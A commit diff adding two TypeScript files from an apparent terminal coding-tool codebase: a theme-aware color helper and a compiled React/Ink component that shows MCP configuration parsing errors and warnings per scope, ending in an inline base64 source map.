Add files using upload-large-folder tool

src/components/design-system/color.ts

@@ -0,0 +1,30 @@
+import { type ColorType, colorize } from '../../ink/colorize.js'
+import type { Color } from '../../ink/styles.js'
+import { getTheme, type Theme, type ThemeName } from '../../utils/theme.js'
+
+/**
+ * Curried theme-aware color function. Resolves theme keys to raw color
+ * values before delegating to the ink renderer's colorize.
+ */
+export function color(
+  c: keyof Theme | Color | undefined,
+  theme: ThemeName,
+  type: ColorType = 'foreground',
+): (text: string) => string {
+  return text => {
+    if (!c) {
+      return text
+    }
+    // Raw color values bypass theme lookup
+    if (
+      c.startsWith('rgb(') ||
+      c.startsWith('#') ||
+      c.startsWith('ansi256(') ||
+      c.startsWith('ansi:')
+    ) {
+      return colorize(text, c, type)
+    }
+    // Theme key lookup
+    return colorize(text, getTheme(theme)[c as keyof Theme], type)
+  }
+}

src/components/mcp/McpParsingWarnings.tsx

@@ -0,0 +1,213 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useMemo } from 'react';
+import { getMcpConfigsByScope } from 'src/services/mcp/config.js';
+import type { ConfigScope } from 'src/services/mcp/types.js';
+import { describeMcpConfigFilePath, getScopeLabel } from 'src/services/mcp/utils.js';
+import type { ValidationError } from 'src/utils/settings/validation.js';
+import { Box, Link, Text } from '../../ink.js';
+function McpConfigErrorSection(t0) {
+  const $ = _c(26);
+  const {
+    scope,
+    parsingErrors,
+    warnings
+  } = t0;
+  const hasErrors = parsingErrors.length > 0;
+  const hasWarnings = warnings.length > 0;
+  if (!hasErrors && !hasWarnings) {
+    return null;
+  }
+  let t1;
+  if ($[0] !== hasErrors || $[1] !== hasWarnings) {
+    t1 = (hasErrors || hasWarnings) && <Text color={hasErrors ? "error" : "warning"}>[{hasErrors ? "Failed to parse" : "Contains warnings"}]{" "}</Text>;
+    $[0] = hasErrors;
+    $[1] = hasWarnings;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== scope) {
+    t2 = getScopeLabel(scope);
+    $[3] = scope;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] !== t2) {
+    t3 = <Text>{t2}</Text>;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  let t4;
+  if ($[7] !== t1 || $[8] !== t3) {
+    t4 = <Box>{t1}{t3}</Box>;
+    $[7] = t1;
+    $[8] = t3;
+    $[9] = t4;
+  } else {
+    t4 = $[9];
+  }
+  let t5;
+  if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = <Text dimColor={true}>Location: </Text>;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  let t6;
+  if ($[11] !== scope) {
+    t6 = describeMcpConfigFilePath(scope);
+    $[11] = scope;
+    $[12] = t6;
+  } else {
+    t6 = $[12];
+  }
+  let t7;
+  if ($[13] !== t6) {
+    t7 = <Box>{t5}<Text dimColor={true}>{t6}</Text></Box>;
+    $[13] = t6;
+    $[14] = t7;
+  } else {
+    t7 = $[14];
+  }
+  let t8;
+  if ($[15] !== parsingErrors) {
+    t8 = parsingErrors.map(_temp);
+    $[15] = parsingErrors;
+    $[16] = t8;
+  } else {
+    t8 = $[16];
+  }
+  let t9;
+  if ($[17] !== warnings) {
+    t9 = warnings.map(_temp2);
+    $[17] = warnings;
+    $[18] = t9;
+  } else {
+    t9 = $[18];
+  }
+  let t10;
+  if ($[19] !== t8 || $[20] !== t9) {
+    t10 = <Box marginLeft={1} flexDirection="column">{t8}{t9}</Box>;
+    $[19] = t8;
+    $[20] = t9;
+    $[21] = t10;
+  } else {
+    t10 = $[21];
+  }
+  let t11;
+  if ($[22] !== t10 || $[23] !== t4 || $[24] !== t7) {
+    t11 = <Box flexDirection="column" marginTop={1}>{t4}{t7}{t10}</Box>;
+    $[22] = t10;
+    $[23] = t4;
+    $[24] = t7;
+    $[25] = t11;
+  } else {
+    t11 = $[25];
+  }
+  return t11;
+}
+function _temp2(warning, i_0) {
+  const serverName_0 = warning.mcpErrorMetadata?.serverName;
+  return <Box key={`warning-${i_0}`}><Text><Text dimColor={true}>└ </Text><Text color="warning">[Warning]</Text><Text dimColor={true}>{" "}{serverName_0 && `[${serverName_0}] `}{warning.path && warning.path !== "" ? `${warning.path}: ` : ""}{warning.message}</Text></Text></Box>;
+}
+function _temp(error, i) {
+  const serverName = error.mcpErrorMetadata?.serverName;
+  return <Box key={`error-${i}`}><Text><Text dimColor={true}>└ </Text><Text color="error">[Error]</Text><Text dimColor={true}>{" "}{serverName && `[${serverName}] `}{error.path && error.path !== "" ? `${error.path}: ` : ""}{error.message}</Text></Text></Box>;
+}
+export function McpParsingWarnings() {
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = {
+      scope: "user",
+      config: getMcpConfigsByScope("user")
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = {
+      scope: "project",
+      config: getMcpConfigsByScope("project")
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = {
+      scope: "local",
+      config: getMcpConfigsByScope("local")
+    };
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  let t3;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t3 = [t0, t1, t2, {
+      scope: "enterprise",
+      config: getMcpConfigsByScope("enterprise")
+    }];
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const scopes = t3 satisfies Array<{
+    scope: ConfigScope;
+    config: {
+      errors: ValidationError[];
+    };
+  }>;
+  const hasParsingErrors = scopes.some(_temp3);
+  const hasWarnings = scopes.some(_temp4);
+  if (!hasParsingErrors && !hasWarnings) {
+    return null;
+  }
+  let t4;
+  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <Text bold={true}>MCP Config Diagnostics</Text>;
+    $[4] = t4;
+  } else {
+    t4 = $[4];
+  }
+  let t5;
+  if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = <Box flexDirection="column" marginTop={1} marginBottom={1}>{t4}<Box marginTop={1}><Text dimColor={true}>For help configuring MCP servers, see:{" "}<Link url="https://code.claude.com/docs/en/mcp">https://code.claude.com/docs/en/mcp</Link></Text></Box>{scopes.map(_temp5)}</Box>;
+    $[5] = t5;
+  } else {
+    t5 = $[5];
+  }
+  return t5;
+}
+function _temp5(t0) {
+  const {
+    scope,
+    config: config_1
+  } = t0;
+  return <McpConfigErrorSection key={scope} scope={scope} parsingErrors={filterErrors(config_1.errors, "fatal")} warnings={filterErrors(config_1.errors, "warning")} />;
+}
+function _temp4(t0) {
+  const {
+    config: config_0
+  } = t0;
+  return filterErrors(config_0.errors, "warning").length > 0;
+}
+function _temp3(t0) {
+  const {
+    config
+  } = t0;
+  return filterErrors(config.errors, "fatal").length > 0;
+}
+function filterErrors(errors: ValidationError[], severity: 'fatal' | 'warning'): ValidationError[] {
+  return errors.filter(e => e.mcpErrorMetadata?.severity === severity);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZU1lbW8iLCJnZXRNY3BDb25maWdzQnlTY29wZSIsIkNvbmZpZ1Njb3BlIiwiZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aCIsImdldFNjb3BlTGFiZWwiLCJWYWxpZGF0aW9uRXJyb3IiLCJCb3giLCJMaW5rIiwiVGV4dCIsIk1jcENvbmZpZ0Vycm9yU2VjdGlvbiIsInQwIiwiJCIsIl9jIiwic2NvcGUiLCJwYXJzaW5nRXJyb3JzIiwid2FybmluZ3MiLCJoYXNFcnJvcnMiLCJsZW5ndGgiLCJoYXNXYXJuaW5ncyIsInQxIiwidDIiLCJ0MyIsInQ0IiwidDUiLCJTeW1ib2wiLCJmb3IiLCJ0NiIsInQ3IiwidDgiLCJtYXAiLCJfdGVtcCIsInQ5IiwiX3RlbXAyIiwidDEwIiwidDExIiwid2FybmluZyIsImlfMCIsInNlcnZlck5hbWVfMCIsIm1jcEVycm9yTWV0YWRhdGEiLCJzZXJ2ZXJOYW1lIiwiaSIsInBhdGgiLCJtZXNzYWdlIiwiZXJyb3IiLCJNY3BQYXJzaW5nV2FybmluZ3MiLCJjb25maWciLCJzY29wZXMiLCJBcnJheSIsImVycm9ycyIsImhhc1BhcnNpbmdFcnJvcnMiLCJzb21lIiwiX3RlbXAzIiwiX3RlbXA0IiwiX3RlbXA1IiwiY29uZmlnXzEiLCJmaWx0ZXJFcnJvcnMiLCJjb25maWdfMCIsInNldmVyaXR5IiwiZmlsdGVyIiwiZSJdLCJzb3VyY2VzIjpbIk1jcFBhcnNpbmdXYXJuaW5ncy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHVzZU1lbW8gfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IGdldE1jcENvbmZpZ3NCeVNjb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC9jb25maWcuanMnXG5pbXBvcnQgdHlwZSB7IENvbmZpZ1Njb3BlIH0gZnJvbSAnc3JjL3NlcnZpY2VzL21jcC90eXBlcy5qcydcbmltcG9ydCB7XG4gIGRlc2NyaWJlTWNwQ29uZmlnRmlsZVBhdGgsXG4gIGdldFNjb3BlTGFiZWwsXG59IGZyb20gJ3NyYy9zZXJ2aWNlcy9tY3AvdXRpbHMuanMnXG5pbXBvcnQgdHlwZSB7IFZhbGlkYXRpb25FcnJvciB9IGZyb20gJ3NyYy91dGlscy9zZXR0aW5ncy92YWxpZGF0aW9uLmpzJ1xuaW1wb3J0IHsgQm94LCBMaW5rLCBUZXh0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuXG5mdW5jdGlvbiBNY3BDb25maWdFcnJvclNlY3Rpb24oe1xuICBzY29wZSxcbiAgcGFyc2luZ0Vycm9ycyxcbiAgd2FybmluZ3MsXG59OiB7XG4gIHNjb3BlOiBDb25maWdTY29wZVxuICBwYXJzaW5nRXJyb3JzOiBWYWxpZGF0aW9uRXJyb3JbXVxuICB3YXJuaW5nczogVmFsaWRhdGlvbkVycm9yW11cbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBoYXNFcnJvcnMgPSBwYXJzaW5nRXJyb3JzLmxlbmd0aCA+IDBcbiAgY29uc3QgaGFzV2FybmluZ3MgPSB3YXJuaW5ncy5sZW5ndGggPiAwXG5cbiAgaWYgKCFoYXNFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfT5cbiAgICAgIDxCb3g+XG4gICAgICAgIHsoaGFzRXJyb3JzIHx8IGhhc1dhcm5pbmdzKSAmJiAoXG4gICAgICAgICAgPFRleHQgY29sb3I9e2hhc0Vycm9ycyA/ICdlcnJvcicgOiAnd2FybmluZyd9PlxuICAgICAgICAgICAgW3toYXNFcnJvcnMgPyAnRmFpbGVkIHRvIHBhcnNlJyA6ICdDb250YWlucyB3YXJuaW5ncyd9XXsnICd9XG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICApfVxuICAgICAgICA8VGV4dD57Z2V0U2NvcGVMYWJlbChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5Mb2NhdGlvbjogPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57ZGVzY3JpYmVNY3BDb25maWdGaWxlUGF0aChzY29wZSl9PC9UZXh0PlxuICAgICAgPC9Cb3g+XG4gICAgICA8Qm94IG1hcmdpbkxlZnQ9ezF9IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAge3BhcnNpbmdFcnJvcnMubWFwKChlcnJvciwgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSBlcnJvci5tY3BFcnJvck1ldGFkYXRhPy5zZXJ2ZXJOYW1lXG4gICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgIDxCb3gga2V5PXtgZXJyb3ItJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5bRXJyb3JdPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICAgICAgeycgJ31cbiAgICAgICAgICAgICAgICAgIHtzZXJ2ZXJOYW1lICYmIGBbJHtzZXJ2ZXJOYW1lfV0gYH1cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5wYXRoICYmIGVycm9yLnBhdGggIT09ICcnID8gYCR7ZXJyb3IucGF0aH06IGAgOiAnJ31cbiAgICAgICAgICAgICAgICAgIHtlcnJvci5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgICAge3dhcm5pbmdzLm1hcCgod2FybmluZywgaSkgPT4ge1xuICAgICAgICAgIGNvbnN0IHNlcnZlck5hbWUgPSB3YXJuaW5nLm1jcEVycm9yTWV0YWRhdGE/LnNlcnZlck5hbWVcblxuICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICA8Qm94IGtleT17YHdhcm5pbmctJHtpfWB9PlxuICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj7ilJQgPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwid2FybmluZ1wiPltXYXJuaW5nXTwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgICAgIHsnICd9XG4gICAgICAgICAgICAgICAgICB7c2VydmVyTmFtZSAmJiBgWyR7c2VydmVyTmFtZX1dIGB9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5wYXRoICYmIHdhcm5pbmcucGF0aCAhPT0gJydcbiAgICAgICAgICAgICAgICAgICAgPyBgJHt3YXJuaW5nLnBhdGh9OiBgXG4gICAgICAgICAgICAgICAgICAgIDogJyd9XG4gICAgICAgICAgICAgICAgICB7d2FybmluZy5tZXNzYWdlfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgIDwvQm94PlxuICAgIDwvQm94PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBNY3BQYXJzaW5nV2FybmluZ3MoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gQ29uZmlnIGZpbGVzIGRvbid0IGNoYW5nZSBkdXJpbmcgZGlhbG9nIGxpZmV0aW1lOyByZWFkIG9uY2Ugb24gbW91bnRcbiAgLy8gdG8gYXZvaWQgYmxvY2tpbmcgZmlsZSBJTyBvbiBldmVyeSByZS1yZW5kZXIuXG4gIGNvbnN0IHNjb3BlcyA9IHVzZU1lbW8oXG4gICAgKCkgPT5cbiAgICAgIFtcbiAgICAgICAgeyBzY29wZTogJ3VzZXInLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCd1c2VyJykgfSxcbiAgICAgICAgeyBzY29wZTogJ3Byb2plY3QnLCBjb25maWc6IGdldE1jcENvbmZpZ3NCeVNjb3BlKCdwcm9qZWN0JykgfSxcbiAgICAgICAgeyBzY29wZTogJ2xvY2FsJywgY29uZmlnOiBnZXRNY3BDb25maWdzQnlTY29wZSgnbG9jYWwnKSB9LFxuICAgICAgICB7IHNjb3BlOiAnZW50ZXJwcmlzZScsIGNvbmZpZzogZ2V0TWNwQ29uZmlnc0J5U2NvcGUoJ2VudGVycHJpc2UnKSB9LFxuICAgICAgXSBzYXRpc2ZpZXMgQXJyYXk8e1xuICAgICAgICBzY29wZTogQ29uZmlnU2NvcGVcbiAgICAgICAgY29uZmlnOiB7IGVycm9yczogVmFsaWRhdGlvbkVycm9yW10gfVxuICAgICAgfT4sXG4gICAgW10sXG4gIClcblxuICBjb25zdCBoYXNQYXJzaW5nRXJyb3JzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnZmF0YWwnKS5sZW5ndGggPiAwLFxuICApXG4gIGNvbnN0IGhhc1dhcm5pbmdzID0gc2NvcGVzLnNvbWUoXG4gICAgKHsgY29uZmlnIH0pID0+IGZpbHRlckVycm9ycyhjb25maWcuZXJyb3JzLCAnd2FybmluZycpLmxlbmd0aCA+IDAsXG4gIClcblxuICBpZiAoIWhhc1BhcnNpbmdFcnJvcnMgJiYgIWhhc1dhcm5pbmdzKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luVG9wPXsxfSBtYXJnaW5Cb3R0b209ezF9PlxuICAgICAgPFRleHQgYm9sZD5NQ1AgQ29uZmlnIERpYWdub3N0aWNzPC9UZXh0PlxuICAgICAgPEJveCBtYXJnaW5Ub3A9ezF9PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICBGb3IgaGVscCBjb25maWd1cmluZyBNQ1Agc2VydmVycywgc2VlOnsnICd9XG4gICAgICAgICAgPExpbmsgdXJsPVwiaHR0cHM6Ly9jb2RlLmNsYXVkZS5jb20vZG9jcy9lbi9tY3BcIj5cbiAgICAgICAgICAgIGh0dHBzOi8vY29kZS5jbGF1ZGUuY29tL2RvY3MvZW4vbWNwXG4gICAgICAgICAgPC9MaW5rPlxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICAgIHtzY29wZXMubWFwKCh7IHNjb3BlLCBjb25maWcgfSkgPT4gKFxuICAgICAgICA8TWNwQ29uZmlnRXJyb3JTZWN0aW9uXG4gICAgICAgICAga2V5PXtzY29wZX1cbiAgICAgICAgICBzY29wZT17c2NvcGV9XG4gICAgICAgICAgcGFyc2luZ0Vycm9ycz17ZmlsdGVyRXJyb3JzKGNvbmZpZy5lcnJvcnMsICdmYXRhbCcpfVxuICAgICAgICAgIHdhcm5pbmdzPXtmaWx0ZXJFcnJvcnMoY29uZmlnLmVycm9ycywgJ3dhcm5pbmcnKX1cbiAgICAgICAgLz5cbiAgICAgICkpfVxuICAgICAgey8qIFRPRE86IEFkZCBhZGRpdGlvbmFsIGRpYWdub3N0aWMgc2VjdGlvbnM6XG4gICAgICAgKiAtIER1cGxpY2F0ZSBTZXJ2ZXIgTmFtZXMgKGNoZWNrIGZvciBzZXJ2ZXJzIHdpdGggc2FtZSBuYW1lIGFjcm9zcyBzY29wZXMpXG4gICAgICAgKiBUaGlzIHNlY3Rpb24gc2hvdWxkIGluY2x1ZGU6XG4gICAgICAgKiAtIEZpbGUgcGF0aHMgd2hlcmUgZWFjaCBzZXJ2ZXIgaXMgZGVmaW5lZFxuICAgICAgICogLSBNb3JlIGRldGFpbGVkIGxvY2F0aW9uIGluZm8gZm9yIHVzZXIvbG9jYWwgc2NvcGVzXG4gICAgICAgKiAtIEFwcHJvdmVkIC8gZGlzYWJsZWQgc3RhdHVzIG9mIHNlcnZlcnNcbiAgICAgICAqL31cbiAgICA8L0JveD5cbiAgKVxufVxuXG5mdW5jdGlvbiBmaWx0ZXJFcnJvcnMoXG4gIGVycm9yczogVmFsaWRhdGlvbkVycm9yW10sXG4gIHNldmVyaXR5OiAnZmF0YWwnIHwgJ3dhcm5pbmcnLFxuKTogVmFsaWRhdGlvbkVycm9yW10ge1xuICByZXR1cm4gZXJyb3JzLmZpbHRlcihlID0+IGUubWNwRXJyb3JNZXRhZGF0YT8uc2V2ZXJpdHkgPT09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